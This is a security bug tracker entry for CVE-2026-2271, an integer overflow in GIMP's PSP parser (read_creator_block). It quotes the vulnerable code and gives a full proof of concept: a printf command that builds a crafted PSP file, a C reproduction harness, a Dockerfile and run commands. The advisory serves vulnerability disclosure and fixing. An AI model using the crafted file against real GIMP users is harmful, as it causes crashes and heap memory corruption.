Bug 2438429 (CVE-2026-2271) - CVE-2026-2271 gimp: GIMP: Denial of service via crafted PSP image file

Keywords: Security

Status: NEW

Alias: CVE-2026-2271

Product: Security Response

Component: vulnerability

Version: unspecified

Hardware: All

OS: Linux

Priority: medium

Severity: medium

Target Milestone: ---

Assignee: Product Security DevOps Team

QA Contact:

Docs Contact:

URL:

Whiteboard:

Depends On: ~~2438432~~

Blocks:

TreeView+ depends on / blocked

Reported: 2026-02-10 09:29 UTC by OSIDB Bzimport

Modified: 2026-02-10 09:51 UTC (History)

CC List: 0 users

Fixed In Version:

Clone Of:

Environment:

Last Closed:

Embargoed:

Attachments (Terms of Use)

OSIDB Bzimport 2026-02-10 09:29:35 UTC Description

```
An integer overflow vulnerability has been identified in the
PSP (Paint Shop Pro) file parser of GIMP. The issue occurs in
the read_creator_block() function, where the Creator metadata
block is processed. Specifically, a 32-bit length value read
from the file is used directly for memory allocation without
proper validation.
Trigger -> when length is set to 0xFFFFFFFF

g_malloc(0xFFFFFFFF + 1) results in g_malloc(0), leading to
the allocation of a minimal-sized buffer
fread() then attempts to read approximately 4 GB of data into
this small buffer
Writing string[0xFFFFFFFF] = '\0' causes an out-of-bounds
```

write beyond the allocated buffer

Vulnerable code (file-psp.c:1130):

```
guint32 length;
fread(&length, 4, 1, f);           // Reads length from the
file (no validation)
string = g_malloc(length + 1);     // length = 0xFFFFFFFF →
g_malloc(0)
fread(string, length, 1, f);       // Attempts to read ~4 GB →
heap overflow
string[length] = '\0';             // Out-of-bounds write at
offset 0xFFFFFFFF
```

PoC

psp_overflow.psp

```
printf 'Paint Shop Pro Image
File\n\x1a\0\0\0\0\0\x03\0\0\0~BK\0\0\0&\0\0\0&\0\0\0\x10\0\0\
0\x10\0\0\0\0\0\0\0\0\0R@\0\0\0\x08\0\x01\0\0\x01\0\0\0\0\x01\
0\0\0\0\0\0\x01\0~BK\0\x01\0\x0a\x01\0\0\x0a\x01\0\0~FL\0\0\0\
xff\xff\xff\xff%s' "$(printf 'A%.0s' {1..256})" >
psp_overflow.psp
```

harness_psp.c

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

typedef uint32_t guint32;
typedef uint16_t guint16;
typedef unsigned char guchar;
typedef char gchar;

#define GUINT32_FROM_LE(val) (val)
#define GUINT16_FROM_LE(val) (val)

#define PSP_CRTR_FLD_TITLE    0
#define PSP_CRTR_FLD_ARTIST   1
#define PSP_CRTR_FLD_CPYRGHT  2
#define PSP_CRTR_FLD_DESC     3

static int read_creator_block_vulnerable(FILE *f, long
data_start, guint32 total_len)
{
    guchar buf[4];
    guint16 keyword;
    guint32 length;
    gchar *string;

    printf("[*] Parsing creator block (total_len=%u)\n",
total_len);

    while (ftell(f) < data_start + total_len)
    {
        if (fread(buf, 4, 1, f) < 1 ||
            fread(&keyword, 2, 1, f) < 1 ||
            fread(&length, 4, 1, f) < 1)
        {
```

```
            fprintf(stderr, "[-] Error reading creator keyword
chunk\n");
            return -1;
        }

        if (memcmp(buf, "~FL\0", 4) != 0)
        {
            fprintf(stderr, "[-] Invalid keyword chunk
header\n");
            return -1;
        }

        keyword = GUINT16_FROM_LE(keyword);
        length = GUINT32_FROM_LE(length);

        printf("[*] Found field: keyword=%u, length=0x%08X
(%u)\n",
               keyword, length, length);

        switch (keyword)
        {
        case PSP_CRTR_FLD_TITLE:
        case PSP_CRTR_FLD_ARTIST:
        case PSP_CRTR_FLD_CPYRGHT:
        case PSP_CRTR_FLD_DESC:

            string = (gchar *)malloc(length + 1);  //
vulnerable

            if (string == NULL)
            {
                fprintf(stderr, "[-] malloc failed\n");
                return -1;
            }

            printf("fread(buf, %u, 1, f) -> heap overflow\n",
length);

            if (fread(string, length, 1, f) < 1)
            {
                fprintf(stderr, "[*] fread failed (expected
for large length)\n");
            }

            printf("[!] Writing string[0x%08X] = '\\0' -> oob
write\n", length);
            string[length] = '\0';  // crash!

            free(string);
            break;

        default:
            fseek(f, length, SEEK_CUR);
            break;
        }
    }

    return 0;
}

int main(int argc, char *argv[])
{
    FILE *f;
    char magic[32];
    guchar buf[4];
```

```
    guint16 block_type;
    guint32 block_len1, block_len2;

    f = fopen(argv[1], "rb");
    if (!f)
    {
        fprintf(stderr, "[-] Cannot open %s\n", argv[1]);
        return 1;
    }

    if (fread(magic, 32, 1, f) < 1)
    {
        fprintf(stderr, "[-] Cannot read magic\n");
        fclose(f);
        return 1;
    }

    if (memcmp(magic, "Paint Shop Pro Image File", 25) != 0)
    {
        fprintf(stderr, "[-] Invalid PSP file\n");
        fclose(f);
        return 1;
    }

    printf("[+] Valid PSP signature\n");

    fseek(f, 4, SEEK_CUR);

    while (fread(buf, 4, 1, f) == 1)
    {
        if (memcmp(buf, "~BK\0", 4) != 0)
        {
            fseek(f, -3, SEEK_CUR);
            continue;
        }

        if (fread(&block_type, 2, 1, f) < 1 ||
            fread(&block_len1, 4, 1, f) < 1 ||
            fread(&block_len2, 4, 1, f) < 1)
        {
            break;
        }

        block_type = GUINT16_FROM_LE(block_type);
        block_len1 = GUINT32_FROM_LE(block_len1);

        if (block_type == 1)
        {
            long data_start = ftell(f);
            read_creator_block_vulnerable(f, data_start,
block_len1);
            break;
        }
        else
        {
            fseek(f, block_len1, SEEK_CUR);
        }
    }

    fclose(f);
    return 0;
}


Dockerfile
```

```
FROM --platform=linux/arm64 ubuntu:22.04

ENV DEBIAN_FRONTEND=noninteractive

RUN apt-get update && apt-get install -y \
    build-essential \
    git \
    clang \
    python3 \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /reproduce

COPY harness_psp.c ./
COPY psp_overflow.psp ./

RUN clang -fsanitize=address -g -O1 -o harness_psp
harness_psp.c

CMD ["/reproduce/harness_psp", "/reproduce/psp_overflow.psp"]


Run


docker build -t gimp-vuln-psp-poc .
docker run --rm gimp-vuln-psp-poc



Environment


GIMP Version: 3.2.0 RC2
Source Code: git clone --branch GIMP_3_2_0_RC2

https://gitlab.gnome.org/GNOME/gimp.git


vuln file: plug-ins/common/file-psp.c
vuln func: read_creator_block() vuln line: 1130

test environment


OS: macOS 15.2 (Darwin 25.2.0)
Arch: ARM64 (Apple M4)
Docker: ubuntU:22.04
Compiler: clang with -fsanitize=address
```

Note

You need to log in before you can comment on or make changes to this bug.